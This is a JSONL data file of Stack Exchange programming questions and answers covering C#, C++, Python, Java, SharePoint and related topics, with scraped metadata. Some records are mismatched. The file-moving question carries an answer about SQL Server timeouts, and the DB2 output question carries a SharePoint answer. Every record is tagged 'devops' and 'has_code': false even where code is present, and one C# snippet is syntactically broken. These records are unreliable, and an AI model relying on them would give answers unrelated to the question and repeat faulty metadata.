{"id": "hf_f6d416d0d9b7", "question": "<p>In C#, what makes a field different from a property, and when should a field be used instead of a property?</p>\n", "question_body": "", "answer": "Properties expose fields.  Fields should (almost always) be kept private to a class and accessed via get and set properties.  Properties provide a level of abstraction allowing you to change the fields while not affecting the external way they are accessed by the things that use your class.\n```\n```\npublic class MyClass\n{\n    // this is a field.  It is private to your class and stores the actual data.\n    private string _myField;\n\n    // this is a property. When accessed it uses the underlying field,\n    // but only exposes the contract, which will not be affected by the underlying field\n    public string MyProperty\n    {\n        get\n        {\n            return _myField;\n        }\n        set\n        {\n            _myField = value;\n        }\n    }\n\n    // This is an AutoProperty (C# 3.0 and higher) - which is a shorthand syntax\n    // used to generate a private field for you\n    public int AnotherProperty { get; set; } \n}\n```\n```\n@Kent points out that Properties are not required to encapsulate fields, they could do a calculation on other fields, or serve other purposes.\n@GSS points out that you can also do other logic, such as validation, when a property is accessed, another useful feature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.519465"}
{"id": "hf_1bd43c2c2c8c", "question": "<p>I have a method in an interface that I want to deprecate with portable C++.\nWhen I Googled for this all I got was a Microsoft specific solution; <a href=\"https://learn.microsoft.com/en-us/cpp/preprocessor/deprecated-c-cpp?view=vs-2017\" rel=\"noreferrer\"><code>#pragma deprecated</code></a> and <a href=\"https://learn.microsoft.com/en-us/cpp/cpp/deprecated-cpp?view=vs-2017\" rel=\"noreferrer\"><code>__declspec(deprecated)</code></a>.</p>\n<p>A second prize solution would be to <code>ifdef</code> a MSVC and a GCC solution.</p>\n", "question_body": "", "answer": "In GCC you can declare your function with the attribute deprecated like this:\n```\n```\nvoid myfunc() __attribute__ ((deprecated));\n```\n```\nThis will trigger a compile-time warning when that function is used in a .c file.\nYou can find more info under \"Diagnostic pragmas\" at\nhttp://gcc.gnu.org/onlinedocs/gcc/Pragmas.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.579207"}
{"id": "hf_de2b488002a4", "question": "<p>I have a string that I want to use as a filename, so I want to remove all characters that wouldn't be allowed in filenames, using Python.</p>\n\n<p>I'd rather be strict than otherwise, so let's say I want to retain only letters, digits, and a small set of other characters like <code>\"_-.() \"</code>. What's the most elegant solution?</p>\n\n<p>The filename needs to be valid on multiple operating systems (Windows, Linux and Mac OS) - it's an MP3 file in my library with the song title as the filename, and is shared and backed up between 3 machines.</p>\n", "question_body": "", "answer": "This whitelist approach (ie, allowing only the chars present in valid_chars) will work if there aren't limits on the formatting of the files or combination of valid chars that are illegal (like \"..\"), for example, what you say would allow a filename named \" . txt\" which I think is not valid on Windows. As this is the most simple approach I'd try to remove whitespace from the valid_chars and prepend a known valid string in case of error, any other approach will have to know about what is allowed where to cope with\nWindows file naming limitations\nand thus be a lot more complex.\n```\n```\n>>> import string\n>>> valid_chars = \"-_.() %s%s\" % (string.ascii_letters, string.digits)\n>>> valid_chars\n'-_.() abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'\n>>> filename = \"This Is a (valid) - filename%$&$ .txt\"\n>>> ''.join(c for c in filename if c in valid_chars)\n'This Is a (valid) - filename .txt'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.637560"}
{"id": "hf_276677b462f1", "question": "<p>I have 3 projects in my solution that I want to deploy. Is there a nice and quick way of using Visual Studio's setup projects to deploy all three apps using one MSI and letting the user decide which apps he wants to install during the install process? </p>\n\n<p>I have setup projects for the 3 individual apps, I also have an overarching setup project that has the output of those other three projects. Am I on the right track or is there a better way?</p>\n", "question_body": "", "answer": "I think you probably want merge modules. Accrding to MSDN:\nA merge module is a standard feature of Microsoft Windows Installer that packages components together with any related files, resources, registry entries, and setup logic. You can use merge modules to install components that multiple applications share. You cannot install merge modules directly. You must merge them into deployment projects.\nhttp://support.microsoft.com/kb/827025\nIn your case, each application would be a merge module and you would need to provide some UI to select which applications you would like to install. You could modify one of the default page templates to do that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.661663"}
{"id": "hf_a7abb9c75ae7", "question": "<p>If you try to launch a .NET 3.5 application on a Windows computer which does not have this version of the .NET framework installed, you get a <code>FileNotFoundException</code> for some system assemblies (for example System.Core 3.5.0.0).</p>\n\n<p>Is it possible to catch this exception and tell the user to upgrade their .NET framework or is it thrown too early to handle it?</p>\n", "question_body": "", "answer": "The simplest thing would just be to try it. (I don't have any non-3.5 machines to test it on, but I assume you do.)\nMake your entry point a very simple one which just tries to load\n```\nSystem.Core.dll\n```\nand handles the exception appropriately. If it passes, move on to another class which can then use it. If it fails, give the appropriate error message and exit.\nI\nsuspect\nyou don't need to have quite this level of isolation - so long as you don't have any fields which are of unavailable types, I wouldn't expect the assembly to be resolved until you first call a method which needs it. I'd have to consult CLR via C# to check. However, keeping it quite isolated would probably be safer - it avoids you accidentally introducing dependencies later. Heck, you could even have your \"boot and check\" type in a separate assembly which did nothing but launch another one if everything's okay.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.710589"}
{"id": "hf_566c1ce5e1fb", "question": "<p>A program written in Visual C/C++ 2005/2008 might not compile with another compiler such as GNU C/C++ or vice-versa. For example when trying to reuse code, which uses windows.h, written for a particular compiler with another, what are the differences to be aware of?</p>\n\n<p>Is there any information about how to produce code which is compatible with either one compiler or another e.g. with either GC/C++ or MSVC/C++? What problems will attempting to do this cause?</p>\n\n<p>What about other compilers, such as LCC and Digital Mars?</p>\n", "question_body": "", "answer": "Well this is a quite difficult question. Fact is that MSVC does not support the newest\nC standard, about it's c++ compliance I can tell you anyything. Howerver \"windows\" C is understand by both MSVC and gcc you just can not hope for the other way. E.g if you use ANSI C99 features then you might have a hard time \"porting\" from gcc to MSVC.\nBut as  long as you try the way MSVC-> gcc you chances will be better. The only point you have to be aware of is the libraries. Most of the libraries on Windows are supposed to work with MSVC and so you need some extra tools to make them accessible to gcc also.\nLCC is a quite older system,which AFAIKT does not support much from ANSI C99, it also needs tools from MSVC to work properly. LCC is \"just \" a compiler.\nlcc-win32 is a C Development system striving to be ANSI C99 compliant. It comes along with linker,  IDE etc.\nI can not tell about the state of Digital Mars implementation\nThen there is also Pelles-C which is a fully fledged IDE also.\nAnd we have hanging around OpenWatcom. Which once was quite a decent system but I can't tell how conformant it is.\nAll in all the \"best\" you can hope  for the easier way from MSVC -> other system but it will probably be much worse the other way round.\nRegards\nFriedrich", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.757579"}
{"id": "hf_2fa01c5114a4", "question": "<p>The problem is simple:</p>\n\n<p>Using bash, I want to add a directory to my PYTHONPATH for ease of script execution. Unfortunately, the directory I want to use has a : in it. So I try each of the following</p>\n\n<pre><code>export PYTHONPATH=${PYTHONPATH}:/home/shane/mywebsite.com:3344/\nexport PYTHONPATH=${PYTHONPATH}:/home/shane/mywebsite.com\\:3344/\nexport PYTHONPATH=${PYTHONPATH}:\"/home/shane/mywebsite.com:3344/\"\n</code></pre>\n\n<p>None of these work. Every time, the path is created as two separate directories on the path in python.\nMy question is, is it possible to do this for bash?\nIf so, what's the syntax required?</p>\n", "question_body": "", "answer": "There is only one you didn't try:\n```\n```\nexport PYTHONPATH=${PYTHONPATH}:\"/home/shane/mywebsite.com\\:3344/\"\n```\n```\nThe problem is without the quotes, the escaping is interpreted directly, and converted into a literal \":\" in the string.  But the \":\" needs to be evaluated later.\n```\n```\n$ echo \"foo:\" \nfoo:\n$ echo \\:foo\n:foo\n$ echo \":foo\"\n:foo\n$ echo \"\\:foo\"\n\\:foo\n```\n```\nI can't guarantee this will fix your python-path problem, but it will get the \\ literal into the string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.816944"}
{"id": "hf_780527727ee9", "question": "<p>I have tried, 'PreviousPage', 'PreviousPage.IsCrossPagePostBack' 'Page.previousPage', page.title</p>\n\n<p>It causes the client to stop rendering the page after this line.</p>\n\n<p>simple example</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\nresponse.write(\"I can see this\");\nstring test = PreviousPage.IsCrossPagePostBack.toString(); //Any page call Causes client rendering to freeze\nresponse.write(\"But i cant see this\");   \nSystem.Windows.Forms.MessageBox.Show(\"However i can see this,proving that the server is still running the code\");   \n}\n</code></pre>\n\n<p>Anybody Please, any ideas? </p>\n", "question_body": "", "answer": "Have you checked PreviousPage for null?\nFrom\nmsdn\n:\nThe PreviousPage property is a null\n  reference (Nothing in Visual Basic)\n  when the user requests that page\n  directly from the server.\nAlso -\n```\nMessageBox\n```\nin a web form,\nnot\na great idea... perhaps use the inbuilt\ntrace.axd", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:36.939356"}
{"id": "hf_6d30b6055f5d", "question": "<p>I'm talking about this:</p>\n\n<p>If we have the letter 'A' which is 77 in decimal and 4D in Hex.\nI am looking for the fastest way to get D.</p>\n\n<p>I thought about two ways:</p>\n\n<p>Given x is a byte.</p>\n\n<ol>\n<li><p><code>x &lt;&lt; 4; x &gt;&gt; 4</code></p></li>\n<li><p><code>x %= 16</code></p></li>\n</ol>\n\n<p>Any other ways? Which one is faster?</p>\n", "question_body": "", "answer": "Single AND operation can do it.\n```\n```\nx = (x & 0x0F);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.020611"}
{"id": "hf_9de937ded1f3", "question": "<p>Are SQL Server timeouts (SELECT queries, in particular) logged in the ERRORLOG file?</p>\n\n<p>Background is a customer with a web site having occasional \"Request timeout\" messages, looking to me assuming that the timeout is caused by a database timeout.  There are no timeout errors in the ERRORLOG in question.</p>\n", "question_body": "", "answer": "No. You will need to use SQL Profiler. A standard trace with the\nLock Timeout\nevent and\nDeadlock Graph\nevents should do it.\nLock:Timeout Event Class\nDeadlock Graph Event Class\nHardware aside (such as enough RAM and fast drives, and appropriate placement of Data and Log files on the appropriate RAID configurations) most timeouts are caused by not having a sufficently 'good' set of indexes for your workload.\nDo you have index maintenance plans scheduled regularly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.082402"}
{"id": "hf_b04cf87ed989", "question": "<p>Is this the best way to handle file moving in a windows service? we have many files that get matched and moved, but an end user may have the file opened at the time of moving.</p>\n\n<p>This is what the code currently says:</p>\n\n<pre><code>Do While IO.File.Exists(OriginalFilePath)\n\n    Try\n        IO.File.Move(OriginalFilePath, BestMatchPath)\n    Catch ex As IO.IOException\n        Log(TraceLevel.Warning, \"The file '{0}' was unable to be moved (probably opened by someone)\", OriginalFilePath)\n        Threading.Thread.Sleep(1000)\n    End Try\n\nLoop\n</code></pre>\n\n<p>Is there a better way to manage this? I have thought of threading it to allow the process to continue, but currently i am unsure if this is viable, as the rest of the process might need the files path to be accurate.</p>\n", "question_body": "", "answer": "No. You will need to use SQL Profiler. A standard trace with the\nLock Timeout\nevent and\nDeadlock Graph\nevents should do it.\nLock:Timeout Event Class\nDeadlock Graph Event Class\nHardware aside (such as enough RAM and fast drives, and appropriate placement of Data and Log files on the appropriate RAID configurations) most timeouts are caused by not having a sufficently 'good' set of indexes for your workload.\nDo you have index maintenance plans scheduled regularly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.104530"}
{"id": "hf_ed58830fa346", "question": "<p>When I launch an ant script from Eclipse 3.4.x it prints the output to console until certain stage. After that it often hangs (wait forever). Last lines that I see at the screen (console) - partial output from my obfuscator.</p>\n\n<p>Under Eclipse 3.3.2 everything works fine (the same project, workspace, settings, JVM etc.).</p>\n\n<p>Does anybody have the same issue? Any thoughts how to fix it?</p>\n", "question_body": "", "answer": "One possible cause is that you are\nrunning out of memory\nAlso try to run ant with the\n```\n-diagnostics\n```\noption.\nYou can check your\nmemory usage\nand your\neclipse.ini\n.\nAnother classic culprit is a\nblocking access to a locked resource\n(like an access to a file already being used by another process): try to close a many applications you can and relaunch ant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.139331"}
{"id": "hf_d81d2966648e", "question": "<p>I have this java code:</p>\n\n<pre><code>&lt;script src=\"http://www.google.com/jsapi\"&gt;&lt;/script&gt;\n&lt;script type=\"text/javascript\"&gt;\ngoogle.load(\"jquery\", \"1.2.6\");\n\n$(\"a#more\").click(function() {\n\n$(\"#info_box\").show(\"blind\", { direction: \"vertical\" }, 800);\n\n});\n&lt;/script&gt;\n</code></pre>\n\n<p>And this link:</p>\n\n<pre><code>&lt;a href=\"#\" id=\"more\"&gt;More Info...&lt;/a&gt;\n</code></pre>\n\n<p>info_box is just a div with the properties:</p>\n\n<pre><code>width: 30%;\nposition: absolute;\nleft: 35%;\ntop: 250px;\nbackground-color: #FFFFFF;\nborder: 2px solid #000000;\nvisibility: hidden;\n</code></pre>\n\n<p>How can this not be working, been trying to figure it out for 20 minutes.</p>\n", "question_body": "", "answer": "Are you sure you're calling the right function? According to the docs at\nhttp://docs.jquery.com/Effects/show\nthe show function takes a speed as the first parameter, and a callback function as the second. Your\n```\n\"blind\"\n```\nand\n```\n{ direction: \"vertical\" }\n```\nare misplaced I think.\nAlso worth checking there's no conflict with another script e.g. mootools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.168577"}
{"id": "hf_8f7cbbce223c", "question": "<p>Is there any way to find out if the user pressed the delete key or dot? It has the same keycode in FireFox.</p>\n", "question_body": "", "answer": "According to\nDetecting keystrokes\n, it is possible, provided that:\nyou search for the keyCode (\n8\nfor delete) onkeydown/up, and\nignore both onkeypress and charCode (Especially if you consider the fact that IE does not fire keypressed event, only key up/down).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.203563"}
{"id": "hf_e99604488083", "question": "<p>If you put up an <code>NSAlert</code> while your app is in the background your dock icon starts bouncing and keeps on bouncing until you switch back. </p>\n\n<p>I find this annoying. </p>\n\n<p>Does anyone know how disable that for a single app? </p>\n", "question_body": "", "answer": "Not that I'd recommend it, but there is a Haxie that may help:\nDock Detox\n.\nThey allow you to intercept the bouncing and do other stuff, I think.\nA quick google showed up:\n```\n```\n- (void)cancelUserAttentionRequest:(int)request\n```\n```\nBut I really don't know if this will work for your purposes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.226711"}
{"id": "hf_9dadc5c1575f", "question": "<p>i'm currently experimenting using PixelShaders introduced with .net 3.5 sp1 to improve image processing performance. everything is much faster , but til yet i just had effects applied to some elements in my wpf forms, that i actually want to avoid.</p>\n\n<p>we have a bunch of image processing functionality and i'd like to replace some othe the stuff piece by piece with pixel shaders to gain some performance.\nis there a way to apply such a pixel shader to an ImageSource without having to display it?</p>\n", "question_body": "", "answer": "What is generally done in C++ / DirectX to achive this is:\nPreparation (done once)\nCreate render target using CreateRenderTarget\nCreate off-screen surface using CreateOffscreenPlainSurface\nSet render target surface using SetRenderTarget\nCreate any other input resources needed (Textures, Vertex Buffers ...)\nRendering (done multiple times)\nUpdate input resources (textures, buffers) as needed\nRender\nCopy the contents of the render target into the off-screen surface via GetRenderTarget\nLock the off-screen surface and read its content on the CPU", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.260755"}
{"id": "hf_7b87229f33c8", "question": "<p>I want to save a set of email addresses collected from a text field (separated by commas) into a single field in a table. I am trying to use serialize but I'm getting SerializationTypeMismatch error. How can I do this?</p>\n\n<p>This is my model:</p>\n\n<p>class Crew &lt; ActiveRecord::Base</p>\n\n<p>class Recipients &lt; HashWithIndifferentAccess ; end</p>\n\n<p>serialize :recipients, Recipients</p>\n\n<p>end</p>\n", "question_body": "", "answer": "I would really reccomend that you parse (e.g. split on comma) the email list and put each in a row in a separate table (I assume you're talkin about a database table?). If you want to use the email addresses for something it's better to store them individually, and since you're talking about serialization I guess you've allready parsed the emails, and try to store an array or similar into a single field in a database. The \"correct\" normalized database way of doing this is to in your model wich you're currently trying to save the object, add a\n```\nhas_many :emails\n```\n(or similar) and creat a new email table for each email.\nOne should allways have a very\ngood reason\nfor storing list type data in a blob, instead of using a proper associated table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.305156"}
{"id": "hf_b1db8b964810", "question": "<p>Many times I use 'mqsc' for create MQ queue manager from script files but I don't know how to generate script files.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "There is a SupportPac that installs a program called \"saveqmgr.exe\".\nHere's a link to the download of the Pac:\nhttp://shrinkster.com/17kc\nIBM seems to frequently reorganize its website, so the above link might not work if you check back here after a long while, but the SupportPac can be found easily by doing a search for \"saveqmgr\" on the Websphere MQ page.  Hope this helps!\nIBM has this to say about the SupportPac:\nAbstract\nThis SupportPac (saveqmgr) saves all the objects, such\n  as queues, channels, etc, defined in a\n  either local or remote queue manager\n  to a file.\nDownload Description\nThis SupportPac interrogates the attributes\n  of all the objects defined to a queue\n  manager (either local or remote) and\n  saves them to a file.\nPossible Uses\nThe format of this file is suitable for use with runmqsc.\n  It is therefore possible to use this\n  SupportPac to save the definitions of\n  objects known to a queue manager and\n  subsequently recreate that queue\n  manager.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.408217"}
{"id": "hf_67397daa4372", "question": "<p>I have a .net winforms app which has a few animation effects, fade ins and scroll animations etc.  These work fine however if I'm in a Remote Desktop Protocol session the animations start to grate.</p>\n\n<p>Can someone suggest a way of determining whether or not an app is running across an RDP session so I can turn the effects off in this case?</p>\n", "question_body": "", "answer": "Use the\nGetSystemMetrics()\nfunction in the user32.dll.  Use\nPInvoke\nto call it.  The following is sample code provided by the first link.  The second link tells you how to invoke it in .NET.\n```\n```\nBOOL IsRemoteSession(void){\n      return GetSystemMetrics( SM_REMOTESESSION );\n   }\n```\n```\nComplete code:\n```\n```\n[DllImport(\"User32.dll\")]\nstatic extern Boolean IsRemoteSession()\n{\n return GetSystemMetrics ( SM_REMOTESESSION);\n}\n```\n```\nThere's also the\n```\nSystemInformation.TerminalServerSession\n```\nProperty, which determines whether or not the client is connected to a Terminal Server session.  The\ncode provided\nby MSDN is extensive, so I won't duplicate it here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.429656"}
{"id": "hf_3fbf0fd415cf", "question": "<p>I'm trying to find an editor (or some simple JavaScript - preferably jQuery) that will allow me to edit the contents of a textarea.</p>\n\n<p>I don't want it to be rich text or WYSIWYG; I just want to be able to select a bit of text, click a button/link and have some simple HTML tags that I define put either side of the highlighted text. I also want to be able to insert empty tags at the cursor if no text is selected in the textarea. Essentially, what I'm looking for is similar to the Stack Overflow text editor, but for custom HTML, not Markdown.</p>\n\n<p>What options are there that I could use?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Would something like\nthis\nfit the bill? I think it just uses\n```\ndocument.selection\n```\nto identify where to insert the markup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.473394"}
{"id": "hf_bb8d48d5c7e6", "question": "<p>I've got a message contained in an byte[], encrypted with \"RSA/ECB/PKCS1Padding\". To decrypt it I create a Cipher c and initiate it with</p>\n\n<pre><code>c = Cipher.getInstance(\"RSA/ECB/PKCS1Padding\");\n</code></pre>\n\n<p>Untill now I have only decrypted small messages, using the <em>doFinal()</em> method, returning an byte[] with the decrypted bytes. </p>\n\n<pre><code>c.init(Cipher.DECRYPT_MODE, privateKey);\nbyte[] decryptetBytes = c.doFinal(encryptedBytes);\n</code></pre>\n\n<p>But in this case the data is bigger (approx 500 Bytes), and the <em>doFinal()</em>-method throws an exception (javax.crypto.IllegalBlockSizeException: Data must not be longer than 128 bytes). I guess I need to use the <em>update()</em>- method, but I can't figure out how to get it to work properly. How is this done?</p>\n", "question_body": "", "answer": "With RSA you can only encrypt/decrypt block with size up to your key length minus padding length. If you have data longer than your key maybe it is just merged in one array so you should split it into chunks with size of your key (128 bytes suggests 1024 key with no padding, I'm not sure if it's possible). Using update() is not the case here.\nSimply, you have to know how this array was created.\nGenerally speaking, RSA shouldn't be used to encrypt large amount of data as it's quite time consuming. Should be used to encrypt key to symmetric cipher, like AES.\nTake a look here:\nhttps://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.497750"}
{"id": "hf_5512d336a4ee", "question": "<p>I need to test a function that needs to query a page on an external server using urllib.urlopen (it also uses urllib.urlencode). The server could be down, the page could change; I can't rely on it for a test.</p>\n\n<p>What is the best way to control what urllib.urlopen returns?</p>\n", "question_body": "", "answer": "Probably the best way to handle this is to split up the code, so that logic that processes the page contents is split from the code that fetches the page.\nThen pass an instance of the fetcher code into the processing logic, then you can easily replace it with a mock fetcher for the unit test.\ne.g.\n```\n```\nclass Processor(oject):\n    def __init__(self, fetcher):\n        self.m_fetcher = fetcher\n\n    def doProcessing(self):\n        ## use self.m_fetcher to get page contents\n\nclass RealFetcher(object):\n    def fetchPage(self, url):\n        ## get real contents\n\nclass FakeFetcher(object):\n    def fetchPage(self, url):\n        ## Return whatever fake contents are required for this test\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.522151"}
{"id": "hf_90d0931c456d", "question": "<p>A number of business areas I work with use a folder structure to organise their Sharepoint housed documents (not ideal I know, but we're stuck with it).  </p>\n\n<p>I would like to use a web part page to present a number of views of their document libraries based on the subfolders that the documents appear in, but this is proving more difficult than I had thought.  Has anyone overcome this problem in the past?</p>\n", "question_body": "", "answer": "What kind of document library information do you want in the view?\nHow do you want the user to filter the view?\nIn general the most powerful way of creating views in sharepoint is with the data view web part.\nhttp://office.microsoft.com/en-us/sharepointdesigner/HA100948041033.aspx\nYou will need Microsoft Office SharePoint Designer.\nYou can present different views of you folders using the data view filter and sorting controls.\nYou can use web part connections to filter a dataview.\nYou can use any datasource linked to say a drop down to filter a dataview.\nHow to tie a dropdown list to a gridview in Sharepoint 2007?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.547274"}
{"id": "hf_2d3205882a41", "question": "<p>In Oracle we can print output by <code>dbms_output.put_line()</code> but I don't know to do the same thing in DB2.</p>\n\n<p>I currently use <code>signal</code> for printing some messages when I debug.</p>\n", "question_body": "", "answer": "What kind of document library information do you want in the view?\nHow do you want the user to filter the view?\nIn general the most powerful way of creating views in sharepoint is with the data view web part.\nhttp://office.microsoft.com/en-us/sharepointdesigner/HA100948041033.aspx\nYou will need Microsoft Office SharePoint Designer.\nYou can present different views of you folders using the data view filter and sorting controls.\nYou can use web part connections to filter a dataview.\nYou can use any datasource linked to say a drop down to filter a dataview.\nHow to tie a dropdown list to a gridview in Sharepoint 2007?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.570712"}
{"id": "hf_a38f14ecdc4b", "question": "<p>How do I execute the following shell command using the Python <a href=\"https://docs.python.org/library/subprocess.html\" rel=\"noreferrer\"><code>subprocess</code></a> module?</p>\n\n<pre><code>echo \"input data\" | awk -f script.awk | sort &gt; outfile.txt\n</code></pre>\n\n<p>The input data will come from a string, so I don't actually need <code>echo</code>.  I've got this far, can anyone explain how I get it to pipe through <code>sort</code> too?</p>\n\n<pre><code>p_awk = subprocess.Popen([\"awk\",\"-f\",\"script.awk\"],\n                          stdin=subprocess.PIPE,\n                          stdout=file(\"outfile.txt\", \"w\"))\np_awk.communicate( \"input data\" )\n</code></pre>\n\n<p><strong>UPDATE</strong>:  Note that while the accepted answer below doesn't actually answer the question as asked, I believe S.Lott is right and it's better to avoid having to solve that problem in the first place!</p>\n", "question_body": "", "answer": "http://www.python.org/doc/2.5.2/lib/node535.html\ncovered this pretty well. Is there some part of this you didn't understand?\nYour program would be pretty similar, but the second\n```\nPopen\n```\nwould have stdout= to a file, and you wouldn't need the output of its\n```\n.communicate()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.605904"}
{"id": "hf_dd67e8327e94", "question": "<p>When connecting to a network share for which the current user (in my case, a network enabled service user) has no rights, name and password have to be provided.</p>\n\n<p>I know how to do this with Win32 functions (the <code>WNet*</code> family from <code>mpr.dll</code>), but would like to do it with .Net (2.0) functionality.</p>\n\n<p>What options are available?</p>\n\n<p><strong>Maybe some more information helps:</strong></p>\n\n<ul>\n<li>The use case is a windows service, not an Asp.Net application.</li>\n<li>The service is running under an account which has no rights on the share.</li>\n<li>The user account needed for the share is not known on the client side.</li>\n<li>Client and server are not members of the same domain.</li>\n</ul>\n", "question_body": "", "answer": "You should be looking at adding a line like this:\n```\n```\n<identity impersonate=\"true\" userName=\"domain\\user\" password=\"****\" />\n```\n```\nInto your web.config.\nMore Information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:37.718698"}
